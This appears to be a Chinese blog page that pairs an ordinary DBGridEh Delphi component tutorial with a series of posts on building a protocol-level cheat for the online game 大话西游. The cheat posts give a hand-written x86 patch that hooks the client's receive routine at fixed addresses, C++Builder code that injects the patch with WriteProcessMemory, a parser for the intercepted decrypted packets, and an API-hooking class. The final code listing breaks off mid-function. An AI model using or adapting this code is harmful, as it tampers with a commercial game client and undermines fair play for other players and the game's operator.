APIHOOK之外挂系列

 
3月30日

DBGRIDEH 组件在Borland开发工具中应用全攻略

KeyLife富翁笔记
作者: archonwang
标题: DBGRIDEH 组件在Borland开发工具中应用全攻略 【陈文彬】
关键字:
分类: 个人专区
密级: 公开
(评分: ★★★★★ , 回复: 12, 阅读: 9482)  »»


    DBGRIDEH 是Enlib 3.0组件包中的组件之一。Enlib 3.0组件包是一位俄国人为增强Borland系列开发工具功能而开发的第三方组件,它具有界面友好、功能强大、开发效率高、、快速制作预览/打印简单中国式报表等特点。因此,一推出即受到广大Borland程序员的青睐。目前这个版本支持Borland Delphi versions 4,5,6&7 和 Borland C++ Builder versions 4 & 5 ,可极大地提高数据库应用系统客户端的性能。许多商品软件如《速达2000》等都使用了该组件。下面本人将使用该组件在实际系统开发过程中的经验总结如下。

    Enlib3.0组件包中最重要而且功能最强大的莫过于dbgrideh组件,本文介绍的所有实例均在Delphi 7开发环境下调试通过。

一、DBGridEh(增强型表格组件)功能详解
    DBGridEh组件无论在外观上还是功能上都非常类似Borland开发工具中现有的dbgrid组件,它除了提供dbgrid组件的全部功能外,还增加了下列新功能:

● 任意选择多行、列或矩形区域的数据.
● 为多列标题设定共同的父标题行.
● 表格底部(Footer) 区显示求和、计数和其它统计信息.
● 自动调整组件宽度与客户区域等宽.
● 设置标题行、数据行的高度.
● 超长的标题行、数据行文本自动折行处理.
● 标题行可作为按钮使用,并可选择是否显示排序标志符(▽降序△升序).
● 点击列标题可对当前列自动排序而无需编写代码.
● 能够自动设置删除超长文本显示不下的多余部分,并以省略号(…)代替.
● 自动搜索字段(Lookup)数据单元格以单、多列字段下拉列表形式显示.
● 自动搜索字段(Lookup)数据单元格可进行增量搜索.
● 可锁定任意列数在屏幕水平方向不滚动.
● 日期时间控件DateTime picker 可支持TDateField and TDateTimeField两种日期格式.
● 根据字段不同值显示关联的ImageList 对象图片组中的图片.
● 隐藏任意列.
● 显示3D风格的数据区、表尾区和锁定滚动列,制作3D外观表格.
● 显示Memo类型字段值.
● 除BOOLEAN型数据外,其它数据类型也可以检查框( checkbox )形式显示数据.
● 使用专门的函数和过程来存取以reg或ini文件格式保存的表格布局(包含各数据列表、数据列访问顺序、列宽、索引标识、行高等信息)文件。
● 通过设置数据单元格的hint和ToolTips属性,当移动鼠标到该单元格时,可以显示单元格容纳不下的文本内容.
● 将组件中数据导入/导出到Text, Csv, HTML, RTF, XLS 和内部数据等多种格式的文件中.

    DBGridEh组件主要属性见下表(其它属性参见dbgrid):

    DBGridEh组件事件基本与DBGrid相同,在此不再赘述。
 

2004-1-2 11:32:00   
 2004-1-2 11:33:10   
 
 2004-1-2 11:33:33   
 
 2004-1-2 11:37:47   

二、应用实例
    Enlib3.0组件包安装成功后,在系统的组件面板中会显示“enlib”组件包标签(如图1),添加DBGridEh到窗体的方法与其它组件一样。在窗体中添加该组件后,请跟我一起来实现图2的一些特殊效果,具体属性设置请参考属性表的说明。

A、定制标题行
 1、制作复杂标题行
    标题行可设为2行以上高度,并可以为多列创建一个共同的父标题行。为实现这个效果,需在各个列标题属性中以“|”分隔父标题和子标题,如办公用品包括代码和名称两部分,具体属性设置如下:

usemultititile=true;
titlelines=2
DBGridEh.Columns[0].Title.Caption := '办公用品|代码';
DBGridEh.Columns[1].Title.Caption := '办公用品|名称';

 2、标题行显示图片
    实现图2中的购买人标题行显示效果。首先添加一个imagelist组件img1并在其中添加一组bmp,ico格式的图片。然后将DBGridEh的TitleImages设置为img1.最后在需要显示图片的列标题的imageindex中设置需要显示的img1中图片的序号。按F9执行一下程序,是不是很酷!

 3、自动显示标题行的升降排序标志符(▽降序△升序)并做相应排序
    DBGridEh组件可以在标题行单元格中显示小三角形升、降排序标志符图片,在运行时可点击标题行,图片自动切换并做相应排序。具体属性设置如下:

OptionsEh=dghAutoSortMarking
Column.Title.TitleButton=true

SortMarkedColumns 为当前排序列可在运行时使用.
然后在该列的ontitleclick事件中添加代码:
procedure TForm_Query.DBGridEh1TitleBtnClick(Sender: TObject; ACol: Integer; Column: TColumnEh);
var
  sortstring:string; //排序列
begin
  //进行排序
  with Column do
  begin
    if FieldName = '' then
      Exit;
    case Title.SortMarker of
      smNoneEh:
      begin
        Title.SortMarker := smDownEh;
        sortstring := Column.FieldName + ' ASC';
      end;
      smDownEh: sortstring := Column.FieldName + ' ASC';
      smUpEh: sortstring := Column.FieldName + ' DESC';
    end;
  //进行排序
    try
      dataset.Sort := sortstring //dataset为实际数据集变量名
    except
    end;
  end;
end;

切记lookup型字段不可做上述设置,否则系统会提示错误。

    另外,组件说明书中提到不需要编写代码即可自动排序,但是不编写代码自动排序方法我还没找到,有知道的朋友烦请告诉我一声啊!让我也对程序代码进行“减肥”。

 
 2004-1-2 11:38:16   
 
 2004-1-2 11:39:41   

B、定制表格底部(footer)区域的汇总统计行
    DBGridEh 组件可以在表格底部显示汇总行,如记录数合计、列字段累加和等信息。在FooterRowCount中设置底部显示的行数;然后在Footers 编辑器中添加一个或多个显示列,显示列可以是字段值累加和、记录数合计、字段值或静态文件等集合类型,可以在设计时在ValueType属性中设置,也可在运行时通过设置Footers[i].ValueType指定其类型。其含义见下表:

    切记设置DBGridEh.SumList.Active 为 True,才会进行汇总统计运算。需注意的是,如显示类型为不是当前列的累加和,则需在fieldname属性中指定汇总列,其它类型则无此要求。

 
 2004-1-2 11:43:13   
 
 2004-1-2 11:47:50   

C、定制表格数据单元外观
 1、根据不同字段值显示相应的小图片
    如根据库存材料的不同状态在数据单元格中显示相应图片,具体设置如下:
    添加一个imagelist组件img1并在其中添加一组bmp,ico格式的图片。然后将需要显示图片的列的imagelist属性设置为img1;在keylist属性中添加实际数据存储值,一行为一个值,切记一定要与imagelist中图片顺序一一对应,否则会张冠李戴,面目全非。还可在picklist中添加提示信息,也要求是一行为一个值,并设tooltip为true,那么,运行时当鼠标移动到该数据单元格时在显示图片的同时还显示提示信息,怎么样,功能够强大吧!可使用空格键或鼠标切换下一张图片,图片切换的同时也改变了实际存储数据值。也可通过shift+空格或鼠标切换为上一张图片。这样就实现了上下两个方向图片切换。

 2、显示检查框(checkbox)外观
    对于Boolean型字段值在dbgrideh组件中自动显示为检查框。通常情况下我们需将非Boolean型字段值也此外观显示,如性别字段为字符型,字段值为“男性”时为选中,“女性”时为未选中。需要在keylist编辑器中设置实际存储数据值,第一行为选中时的值“1”,第二行为未选中的值“0”,第三行为其它值“2”,支持三态显示。

 3、显示单、多列下拉列表
    根据单元格字段值显示与其相关的其它表字段内容,如部门代码字段显示为部门名称。首先需在当前表中新建立一个lookup型字段,设置好关联表的字段和返回字段。多列下拉列表需在单列基础上做进一步设置,在LookupDisplayFields中以“;”号将关联表中多个字段分隔开,而且返回字段必须作为其中的第一项。具体设置如下:

dropdownshowtitles=true
dropdownsizing=true
dropdownwidth=-1

    例:当前表中只有部门代码无部门名称列,需与部门表建立关联,当点击单元格时以部门代码、部门名称两列下拉列表形式显示。

 4、显示日历下拉列表
    Date 和 DateTime类型字段值均可以此形式显示。外观与编辑框无异,当点击该单元格时,右侧会出现“▽”符号,点击之即可出现日历下拉列表。有时不希望出现日历下拉列表,只需设置Column.ButtonStyle属性为 cbsNone即可,此方法同样适用于其它组件不以特殊外观显示的情况。

 5、3D或平面外观效果
    设置OptionsEh属性 中fixed, frozen, footer 和 data rows等属性表格外观为3D效果,设置flat为true则为平面外观效果.

 6、锁定多列不滚动
    当表格水平方向信息在一屏幕显示不下时,此项功能非常有用。例如,工资表格中包含姓名、基本工资、绩效工资等信息一屏幕显示不下,需要通过移动水平滚动条显示下一屏信息。如果不锁定关键字段列如姓名,则移动到下一屏时就不知道此条记录对应的姓名。因此,在实际应用中经常需锁定多列不滚动。

    例:姓名字段为表格第二列,则设置FrozenCols=2.这样当一屏幕显示不下,通过移动水平滚动条显示下一屏信息时,表格前两列不滚动,作为参照列。

D、导入/导出数据
    导入/导出数据在实际处理过程中是比较烦琐的。但是Enlib3.0提供了一系列函数让你轻松实现此功能,而且支持的文件格式很多:Text, Csv, HTML, RTF, XLS 和内部数据格式。除此之外,还可对任意选择的数据区域进行操作。函数如下:

Pascal: SaveDBGridEhToExportFile(TDBGridEhExportAsText,DBGridEh1,'c:/temp/file1.txt',False);

C++: SaveDBGridEhToExportFile(__classid(TDBGridEhExportAsText),DBGridEh1,"c://temp//file1.txt",false);

说明:其中false参数表示导出的是选中的局部数据区域数据,true则为整个表格数据。

   例:将当前表格中数据导出为EXCEL等格式文件。
    在窗体中添加一个SaveDialog组件和“导出”按钮B_exp,在“导出”按钮的click事件中添加如下代码:

procedure TForm1.B_expClick(Sender: TObject);
var
  ExpClass:TDBGridEhExportClass;
  Ext:String;
begin
  SaveDialog1.FileName := 'file1';
  if (ActiveControl is TDBGridEh) then
    if SaveDialog1.Execute then
    begin
      case SaveDialog1.FilterIndex of
        1: begin ExpClass := TDBGridEhExportAsText; Ext := 'txt'; end;
        2: begin ExpClass := TDBGridEhExportAsCSV; Ext := 'csv'; end;
        3: begin ExpClass := TDBGridEhExportAsHTML; Ext := 'htm'; end;
        4: begin ExpClass := TDBGridEhExportAsRTF; Ext := 'rtf'; end;
        5: begin ExpClass := TDBGridEhExportAsXLS; Ext := 'xls'; end;
      else
        ExpClass := nil; Ext := '';
    end;
    if ExpClass <> nil then
    begin
      if UpperCase(Copy(SaveDialog1.FileName,Length(SaveDialog1.FileName)-2,3)) <> UpperCase(Ext) then
        SaveDialog1.FileName := SaveDialog1.FileName + '.' + Ext;
      SaveDBGridEhToExportFile(ExpClass,DBGridEh1,SaveDialog1.FileName,False);
      //其中false为局部数据
    end;
  end;
end;

E、将存在的DBGrid组件转换为DBGridEh组件.
    通过笔者上述介绍,想必你已经对Enlib组件包产生好感而且越越欲试了,那就赶快下载使用吧。但是,使用一段时间并且喜欢上它后,你又有新的问题产生了,那就是为了保持界面风格一致,能否将已经开发完成的应用程序中的DBGrid组件能否转换为DBGridEh组件,进行一次彻底革命?答案是肯定的。尽管DBGridEh并不是继承于CustomDBGrid组件, 但是DBGridEh和DBGrid它们之间有许多相同之处.因此可以相互转换。

具体步骤如下:
 1、在Delphi IDE下打开TDBGrid组件.
 2、通过组合键Alt-F12将form 以文本方式显示;
 3、将所有TDBGrid 对象名改变为 TDBGridEh对象名,如:DBGrid1: TDBGrid改为 DBGrid1: TDBGridEh;
 4、再次通过组合键Alt-F12将文本方式恢复为form 显示;
 5、将form各相关事件中定义的所有TDBGrid改为TDBGrideh,如DBGrid1: TDBGrid改为DBGrid1: TDBGridEh;
 6、重新编译应用程序。

    以上只是本人在实际程序开发过程中使用dbgrideh组件的一些体会,当然其功能还远不止这些。欢迎朋友与我做进一步交流。

【原作者联系方式】
     Email:bcbc422427@163.com  

3月11日

协议型网络游戏外挂制作之DLL中改代码

  第一节到第三节我们说了基本工具的准备,第四节使用免升级和免弹出主页来做了一下基本的练习。第四节中和普通的游戏修改器没有太大的区别,只是一个修改的是数据,一个修改的是代码。这一节中我们将通过在dll中修改大话的代码来进行外挂的制作。其实在dll中动态修改代码和上一节用的方法一样,只是要改写的东西更多了而已。

  原理和上一节中的函数一样,都是调用WriteProcessMemory。

  这一节的任务是拦截接收到的数据,关于发送的数据可以进行相类似的处理。一般在分析网络游戏的时候,都是先分析接收到的数据。对于大话的程序,中间如何去分析的过程就不说了,这要看自己的调适能力了。不过对于9.16之前的大话客户端程序,里面含有大量的调试信息(也可能是脚本信息),大致分析程序可以发现,程序总是在打印调试信息之后,然后做实际的工作。其中对于"rx_decode”这个字段很感兴趣,看看调用的地方:


.text:00449D4F 154 push offset aRx_decode ; "rx_decode"

  在前方不久的地方就是网络函数recv,因此可以这样来理解,程序接收到数据之后,打印出调试信息,然后跳转到:

.text:00449D95 154 push ebp

  的地方继续执行,通过不断的跟踪发现,大部分时候程序都执行到地址:

.text:00449DED 154 mov [eax], edi

  而且,[edi]中的内容在相同的时刻几乎是相似的,通过在游戏中随机的打开中断,将[edi]中的内容dump出来,然后组成ASCII码便可以发现,里面的内容相对来说是不变的,如果你运气好刚好可以拦截到聊天数据的话,就会发现里面的内容就是聊天的内容。这有点像碰运气。不过,如果采用下面的方法的话,就可以不用碰运气了。首先,我们发现edi是一个数据的地址,ebp中是我们接收到的数据的长度。当对其中的内容感到怀疑的时候,我们就想将该语句执行的时候[edi]中的内容dump出来,dump的长度就是ebp中的值。因此我们通过w32dasm来制作内存补丁,使用W32dasm反编译程序之后,使用快捷键Ctrl+L可以将程序加载到内存中,不让程序执行,快捷键Ctrl+F12跳转代码窗口的地址到00449DED 一行,方便恢复代码的时候用。在调试窗口中按Ctrl+F12将当前代码位置跳转到00449DED。

  我们将在这里进行内存补丁的编写。点击Patch Code按钮就可以直接写内存代码了。在00449DED的位置的补丁如下:

:00449DED E90ECA0400 jmp 00496800

  00496800地址的内容是一段空闲得内存。在ida中可以看到程序中没有任何地方使用这块内存,我们将在这里进行程序的修改。当程序执行到00449DED的时候,就会跳转到00496800接着执行,因此,我们还必须修改00496800处的代码,使用Ctrl+F12跳转到00496800处,开始打补丁:

 :00496800 50 push eax;保存各寄存器的值

 :00496801 53 push ebx

 :00496802 51 push ecx
 
 :00496803 52 push edx

 :00496804 55 push ebp;ebp为这次接收到的数据长度

 :00496805 57 push edi;edi为数据地址

 :00496806 6804040000 push 00000404;向外挂程序发送拦截消息ID

 :0049680B A1D0664900 mov eax, dword ptr [004966D0];[004966d0]中包含的是外挂窗口的窗口句柄

 :00496810 50 push eax

 :00496811 3EFF1574924700 call dword ptr ds:[00479274];ds:[00479274]为SendMessage的函数地址,调用SendMessage函数向外挂发送命令

 :00496818 5A pop edx;恢复各寄存器

 :00496819 59 pop ecx

 :0049681A 5B pop ebx

 :0049681B 58 pop eax

 :0049681C 8938 mov dword ptr [eax], edi;调用原来的操作,因为我们打补丁的时候跳过了部分操作,因此在这里进行原来的操作。

 :0049681E 5F pop edi

 :0049681F 5E pop esi

 :00496820 5D pop ebp

 :00496821 E9CC35FBFF jmp 00449DF2;跳回原来的地址之后接着执行

  以上就是拦截补丁的完整代码。在使用的时候,必须先将大话程序的[004966d0]中填充上外挂的窗口句柄,要不然是没办法弄得。

  使用W32dasm做补丁的时候好处在于我们看到的就是程序执行时用的虚拟地址,并且,W32dasm在给出汇编代码的同时给出了代码的16进制表示。补丁做完之后,剩下的就是如何将补丁程序放入到目标程序中了。

  当外挂窗口创建之后,我们通过向外挂窗口发送WM_USER+2来命令外挂窗口执行修改大话程序的操作。

  下面是具体的修改操作:

void TwgHookForm::ModifyXy2(TMessage Message)
{
 DWORD dwIdOld1, dwIdOld2, dwIdOld3, dwIdOld4, dwIdOld5;
 DWORD id=GetCurrentProcessId();
 HANDLE handle1 = OpenProcess(PROCESS_ALL_ACCESS, FALSE,id);
 if (wghandle)
 {
  Byte getrecv1[] =
   {
    0xE9, 0x0E, 0xCa, 0x04, 0x00
   }; //5
  Byte getrecv2[] =
   {
    0x50, 0x53, 0x51, 0x52, 0x55, 0x57, 0x68, 0x04, 0x04, 0x00,
    0x00, 0xA1, 0xd0, 0x66, 0x49, 0x00, 0x50, 0x3E, 0xFF, 0x15,
    0x74, 0x92, 0x47, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x89, 0x38,
    0x5F, 0x5E, 0x5D, 0xE9, 0xcc, 0x35, 0xFB, 0xFF
   }; //38
  VirtualProtectEx(handle1, (void*)(0x004966d0), 4, PAGE_READWRITE,&dwIdOld1);
  if ((WriteProcessMemory(handle1, (void*)(0x004966d0), &wghandle, 4,NULL)) == false)
  {
   ShowMessage("写句柄错误!");
   return ;
  }
  VirtualProtectEx(handle1, (void*)(0x004966d0), 4, dwIdOld1, &dwIdOld1);
  VirtualProtectEx(handle1, (void*)(0x00449DED), 5, PAGE_READWRITE,&dwIdOld4);
  if ((WriteProcessMemory(handle1, (void*)(0x00449DED), getrecv1, 5, NULL)
) == false)

 {
  ShowMessage("拦截接收修正补丁错误!");
 }
 VirtualProtectEx(handle1, (void*)(0x00449DED), 5, dwIdOld4, &dwIdOld4);
 VirtualProtectEx(handle1, (void*)(0x00496800), 38, PAGE_READWRITE,&dwIdOld5);
 if ((WriteProcessMemory(handle1, (void*)(0x00496800), getrecv2, 38,NULL)) == false)
 {
  ShowMessage("拦截接收补丁错误!");
 }
 VirtualProtectEx(handle1, (void*)(0x00496800), 38, dwIdOld5, &dwIdOld5);
}

}

  在CB中使用自定义消息,需要在头文件中加入:

#define WM_USER_MODIF (WM_USER+2) //修改大话程序的消息
#define WM_USER_GETSEND (WM_USER+1) //拦截到发送数据接收到的消息
#define WM_USER_APIHOOK (WM_USER+5) //APIHOOK拦截到接收到的消息
#define WM_USER_GETRECV (WM_USER+4) //修改后的程序会向外挂窗口发送该消息。

  在外挂窗口类里面(我这里是TwgHookForm),添加函数void ModifyXy2(TMessage Message);

void GetRecv(TMessage Message);

  在protected:关键字下面添加消息映射声明:

BEGIN_MESSAGE_MAP
VCL_MESSAGE_HANDLER(WM_USER_MODIF, TMessage, ModifyXy2)
VCL_MESSAGE_HANDLER(WM_USER_APIHOOK, TMessage, HOOKAPITest)
VCL_MESSAGE_HANDLER(WM_USER_GETSEND, TMessage, GetSend)
VCL_MESSAGE_HANDLER(WM_USER_GETRECV, TMessage, GetRecv)
END_MESSAGE_MAP(TForm)

  以上就是拦截接收数据的全部了。结合以前的代码,运行程序,可以发现,拦截到的数据为所有的已经解密了的游戏数据,至于数据的解析,就看自己的了,这里给出一个解析的代码框架:

#define CMDVOID(a)
void CMDSAY##a(int cmd, int length, char* date)
#define RECVCASE(cmd,length,data)
case cmd:
CMDSAY##cmd(cmd,length,data);
break


  class中的声明:

CMDVOID(10);

CMDVOID(11);

CMDVOID(21);

  在接收到的函数GetRecv中:

void TwgHookForm::GetRecv(TMessage Message)
{
 if (Message.WParam == 1)
 {
  cmdrecvstate = RECVCMD;//如果接收到的是1个字符,则接收到的是命令
 }
 else if (Message.WParam == 2)
 {
  cmdrecvstate = RECVLENGTH;//如果接收到长度是2个字符,则为将要接收到的数据长度
 }
 else
 {
  cmdrecvstate = RECVDATA;//否则接收到的就是数据
 }
 static int cmd,datalength;
 switch (cmdrecvstate)
 {
  case RECVCMD:
   cmd = *((int*)(Message.LParam));
   return;
  case RECVLENGTH:
   datalength = *((int*)(Message.LParam));
   return;
  case RECVDATA:
   if (datalength == Message.WParam)
   {
    Cmdsay(cmd, datalength, (char*)Message.LParam);//如果数据包没有被拆分,则进行命令解释
   }
   else
   {//否则,打印这个包现在内容
    Memo1->Lines->Add("注意:这个数据不完整:");
    AnsiString astemp1 = "[接受][";
    astemp1.cat_sprintf("%x][", cmd);
    astemp1.cat_sprintf("应收长度:%d实际长度:%d][",datalength,Message.WParam);
    BYTE *temp = (BYTE*)Message.LParam;
    for (int i = 0; i < Message.WParam; i++)
    {
     astemp1.cat_sprintf("%0.2x ", temp[i]);
    }
    astemp1.cat_sprintf("][");
    for (int i = 0; i < Message.WParam; i++)
    {
     if(temp[i]>=0x20)
      astemp1.cat_sprintf("%c", temp[i]);
     else
      astemp1.cat_sprintf(".");
    }
    astemp1.cat_sprintf("]");
    Memo1->Lines->Add(astemp1);
   }
   return;
  }


  程序仅仅很简单的进行数据包的拦截和解析,对于被拆分的包不作处理,在真实应用中应该将这些包合并。

  上面的接收规则对于9.16之前的大话程序有效,大话程序的一组数据会分成3次发送,首先接收到的是名字字,这个为1字节长度,接着是要接收的数据的长度,这个为2个字节,接下来就是数据了。如果真实接收到的数据和应该接收的数据长度不一样的话,表示这个包被拆分了。
  对于9.16之后的程序,大话不一定按照这样的规则来进行,因此上面的只适应于9.16之前的程序。

  下面是Cmdsay的函数实现:

void TwgHookForm::Cmdsay(int cmd, int length, char* date)
{
 switch (cmd)
 {
  RECVCASE (10,length,date);
  RECVCASE (11,length,date);
  RECVCASE (21,length,date);
  default://未被解析的命令
  AnsiString astemp1 = "[接受][";
  astemp1.cat_sprintf("%x][", cmd);
  astemp1.cat_sprintf("%d][", length);
  BYTE *temp = (BYTE*)date;
  for (int i = 0; i < length; i++)
  {
   astemp1.cat_sprintf("%0.2x ", temp[i]);
  }
  astemp1.cat_sprintf("][");
  for(int i=0;i<length;i++)
  if(temp[i]>=0x20)
   astemp1.cat_sprintf("%c",temp[i]);
  else
   astemp1.cat_sprintf(".");
   astemp1.cat_sprintf("]");
   Memo1->Lines->Add(astemp1);
   break;
 }
}

  上面就是全部了,对于发送的命令拦截,和接收的类似,可以自己分析。在前几节教程中我已经将打补丁的注意点说了一遍,这里就不再说了。对于9.16之后的程序,我只做了很少的研究,主要是因为没有大量的时间和心情来做这些事情,这里仅仅给一点初步的提示:

  1、 对于发送的数据,有些部分可能会采用二次加密的办法。

  2、 对于接收的数据,程序为了增加调试的难度,将数据转换成浮点数之后不断的进行地址的变换和数据的转移。

  3、 程序将接收和发送放入了一个线程中(这个可能,因为9.16之后比9.16之前多了一个线程)。

  4、 数据采用浮点数存储,加密过程中有可能转换成浮点数,但加密完之后又会转换成浮点数,直到最后的时候才会转换成整数发送。

  由于大话程序内部进行了非常大量的浮点和整数的转换,因此现在的大话程序是非常的耗费CPU资源的。以下面的代码来说:

Int I;

Float k=(float)I;//利用浮点数寄存器,这个用的时间很短

I=(int)k;//在编译器编译的时候,会用自己的浮点整型转换,而不是数学协处理器进行转换,这个转换大概比使用浮点寄存器转换慢12—60倍左右或者更多。使用ida4.7可以看到反编译之后调用了库函数_ftol。慢的原因是因为库函数是为数学计算进行的,而不是为了游戏中的效率而设计的。这是9.16之后大话变得卡的主要原因。

  对于9.16之后的程序,也可以进行相同的处理,只是在调试的时侯对于代码地址的查找比较麻烦。如果不喜欢自己来写代码数组的话,可以自己根据PE文件来写个代码补丁工具。这个我就不讲了,事实上,我自己也没有写,时间不足是一方面,人懒是没办法的。

  在前面APIHOOK一节(教程三)中,我的API类有点错误,这里更正一下:

  在APIHOOK.h中

private:
pfnOrig,PROC pfnHook,BOOL fExcludeAPIHookMod);
void WINAPI ReplaceIATEntryInOneMod(PCSTR pszCalleeModName,PROC pfnOrig,PROC pfnHook,HMODULE hmodcaller,HANDLE handle);
void WINAPI FixupNewlyLoadedModule(HMODULE hmod,DWORD dwFlags);

  应该改为:

private:

//pfnOrig,PROC pfnHook,BOOL fExcludeAPIHookMod);这个是没有删除干净的注释

void WINAPI ReplaceIATEntryInOneMod(PCSTR pszCalleeModName,PROC pfnOrig,PROC pfnHook,HMODULE hmodcaller,HANDLE handle);

void WINAPI FixupNewlyLoadedModule(HMODULE hmod,DWORD dwFlags);

APIHOOK.cpp中:

m_module = GetModuleHandle(pszCalleeModName);

ReplaceIATEntryInOneMod(m_pszCalleeModName, m_pfnOrig, m_pfnHook, m_module,prochandle);

  应该修改为:

m_module = hmod;

ReplaceIATEntryInOneMod(m_pszCalleeModName, m_pfnOrig, m_pfnHook, m_module,prochandle);

  上次alan给我的源代码我上传之后才看了一下他的代码,发现他仅仅做了教程一里的。我将源代码整理了一下并给了他一份,应该不久之后就可以看到了。关于alan的联系方式:

  E-mail:tyr_alan@hotmal.com如果对他的代码有疑问的话,可以给他发邮件。

  主要内容终于讲完了,比我想象得要少,下一节主要讲解一下善后的处理,以便让外挂看起来更专业。由于下一节不是主要的内容,因此可能会拖后一点。

  如果因为本教程引起其他的后果的话,则与本人无关,本人只讲技术实现。如果要转贴的话,请注明出处,如果有疑问或者商议的话,请发E-Mail到zeze0556@sina.com或者QQ:23033206留言,MSN:zeze0556@msn.com。另外请勿给我信箱发垃圾邮件,在添加好友的时候一定要写好附言,我已经被莫名其妙的广告信件和流言蜚语吓得没有胆了。算是我求各位大虾了。

协议型网络游戏外挂制作之APIHOOK补遗

  上一节中我们说了外挂平台的搭建,我们做完了Hook.dll和wg.exe,但如何让wg.exe调用Hook.dll中的函数,可以自己查看CB的教程或者到网上查查。在这里我是在wg.exe的Hook按钮事件中添加了下面的语句来实现:

if(gamethreadid)
{
 if(EnableHook(gamethreadid)==false)
  ShowMessage("error");
}

  你可以点击Hook按钮在游戏界面出来之后,然后在游戏界面中按F12键调出外挂的窗口。


  昨天的尾巴完事之后,开始今天的教程。今天我想说说APIHOOK。虽然APIHOOK在大话游戏的外挂制作中不是必须的,但为了按照一般的制作流程顺序,就先将这部分加入到里面去了。

  使用APIHOOK的原因也很简单,游戏肯定要调用某些系统函数,使用APIHOOK可以简单的查看一些关键的信息并进行修改(就这么简单的理由?是的,我们一向再用杀牛的刀宰鸡的。。。)。

  Jeffrey Richter用了大量的篇幅来讲如何插入DLL和挂接API,如果你不知道Jeffrey Richter是谁的话,总该知道《Windows核心编程》的作者吧,如果不知道,我倒,系统抛出例外,你是外星人吧。我们的程序运行在用户层上,J。R提出了两种办法,一种是改写代码,我刚开始也试图用这种办法,后来发现这种办法确实存在的漏洞多多,和J。R说的一样。最后还是采用操作模块的输入节了。

  在查看资料的过程中,我发现J。R的代码在中文Windows 2000上并不能运行(难道是外国人用的系统和中国的不一样?),后来只好J。R的思路,重新安排了一下函数,但大部分函数都一样的。为了方便,我没有在类中捕获LoadLibraryA、LoadLibraryW、LoadLibraryExA和LoadLibraryExW,也是因为我们的外挂程序运行的时候游戏的窗口已经出来了,该加载的一般都加载了。

  下面是我的APIHOOK类的源代码,该源代码是根据J.R的思路重新整理他的源代码来的:

/*HookAPI.h*/
#include "windows.h"
class CAPIHOOK
{
 public:
  CAPIHOOK(PSTR pszCalleeModName,PSTR pszFuncName,PROC pfnHook,HANDLE prochandle,HMODULE hmod);
  ~CAPIHOOK();
  operator PROC(){return (m_pfnOrig);};
 public:
  static PVOID sm_pvMaxAppAddr;
  static CAPIHOOK* sm_pHead;
  CAPIHOOK* m_pNext;
  PCSTR m_pszCalleeModName;
  PCSTR m_pszFuncName;
  PROC m_pfnOrig;
  PROC m_pfnHook;
  BOOL m_fExcludeAPIHookMod;
  HMODULE m_module;
  HANDLE m_handle;
 private:
  pfnOrig,PROC pfnHook,BOOL fExcludeAPIHookMod);
  void WINAPI ReplaceIATEntryInOneMod(PCSTR pszCalleeModName,PROC pfnOrig,PROC pfnHook,HMODULE hmodcaller,HANDLE handle);
  void WINAPI FixupNewlyLoadedModule(HMODULE hmod,DWORD dwFlags);
  FARPROC WINAPI GetProcAddress(HMODULE hmod,PCSTR pszProcName);
};


/*HookApi.cpp*/

#include "hookapi.h"
#include <assert.h>
#include "imagehlp.h"
PVOID CAPIHOOK::sm_pvMaxAppAddr = NULL;
const BYTE cPushOpCode = 0x68;
CAPIHOOK *CAPIHOOK::sm_pHead = NULL;

CAPIHOOK::CAPIHOOK(PSTR pszCalleeModName, PSTR pszFuncName, PROC pfnHook,
HANDLE prochandle, HMODULE hmod)
{
 m_handle = prochandle;
 if (sm_pvMaxAppAddr == NULL)
 {
  SYSTEM_INFO si;
  GetSystemInfo(&si);
  sm_pvMaxAppAddr = si.lpMaximumApplicationAddress;
 }
 m_pNext = sm_pHead;
 sm_pHead = this;
 m_pszCalleeModName = pszCalleeModName;
 m_pszFuncName = pszFuncName;
 m_pfnHook = pfnHook;
 m_pfnOrig = ::GetProcAddress(GetModuleHandleA(pszCalleeModName),m_pszFuncName);
 assert(m_pfnOrig != NULL);
 if (m_pfnOrig == NULL)
 {
  return;
 }
 if (m_pfnOrig > sm_pvMaxAppAddr)
 {
  PBYTE pb = (PBYTE)m_pfnOrig;
  if (pb[0] == cPushOpCode)
  {
   PVOID pv = *(PVOID*) &pb[1];
   m_pfnOrig = (PROC)pv;
  }
 }
 m_module = GetModuleHandle(pszCalleeModName);
 ReplaceIATEntryInOneMod(m_pszCalleeModName, m_pfnOrig, m_pfnHook, m_module,prochandle);
}

CAPIHOOK::~CAPIHOOK()
{
 ReplaceIATEntryInOneMod(m_pszCalleeModName, m_pfnHook, m_pfnOrig, m_module,m_handle);
 CAPIHOOK *p = sm_pHead;
 if (p == this)
 {
  sm_pHead = p->m_pNext;
 }
 else
 {
  BOOL fFound = FALSE;
  for (; !fFound && (p->m_pNext != NULL); p = p->m_pNext)
  {
   if (p->m_pNext == this)
   {
    p->m_pNext = p->m_pNext->m_pNext;
    break;
   }
  }
  assert(fFound);
 }
}

void WINAPI CAPIHOOK::FixupNewlyLoadedModule(HMODULE hmod, DWORD dwFlags)
{
 if ((hmod != NULL) && ((dwFlags &LOAD_LIBRARY_AS_DATAFILE) == 0))
 {
  for (CAPIHOOK *p = sm_pHead; p != NULL; p = p->m_pNext)
  {
   ReplaceIATEntryInOneMod(p->m_pszCalleeModName, p->m_pfnOrig, p->m_pfnHook,hmod, m_handle);
  }
 }
}

FARPROC WINAPI CAPIHOOK::GetProcAddress(HMODULE hmod, PCSTR pszProcName)
{
 FARPROC pfn = ::GetProcAddress(hmod, pszProcName);
 CAPIHOOK *p = sm_pHead;
 for (; (pfn != NULL) && (p != NULL); p = p->m_pNext)
 {
  if (pfn == p->m_pfnOrig)
  {
   pfn = p->m_pfnHook;
   break;
  }
 }
 return (pfn);
}

void WINAPI CAPIHOOK::ReplaceIATEntryInOneMod(PCSTR pszCalleeModName, PROC
pfnCurrent, PROC pfnHook, HMODULE hmodcaller, HANDLE handle)
{
 ULONG ulSize;

 PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)
 ImageDirectoryEntryToData(hmodcaller, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT,&ulSize);
 if (pImportDesc == NULL)
 {
  return ;
 }

 for (; pImportDesc->Name; pImportDesc++)
 {
  PSTR pszModName = (PSTR)((PBYTE)hmodcaller + pImportDesc->Name);
  if (lstrcmpiA(pszModName, pszCalleeModName) == 0)
  {
   break;
  }
 }
 if (pImportDesc->Name == 0)
 {
  return ;
 }
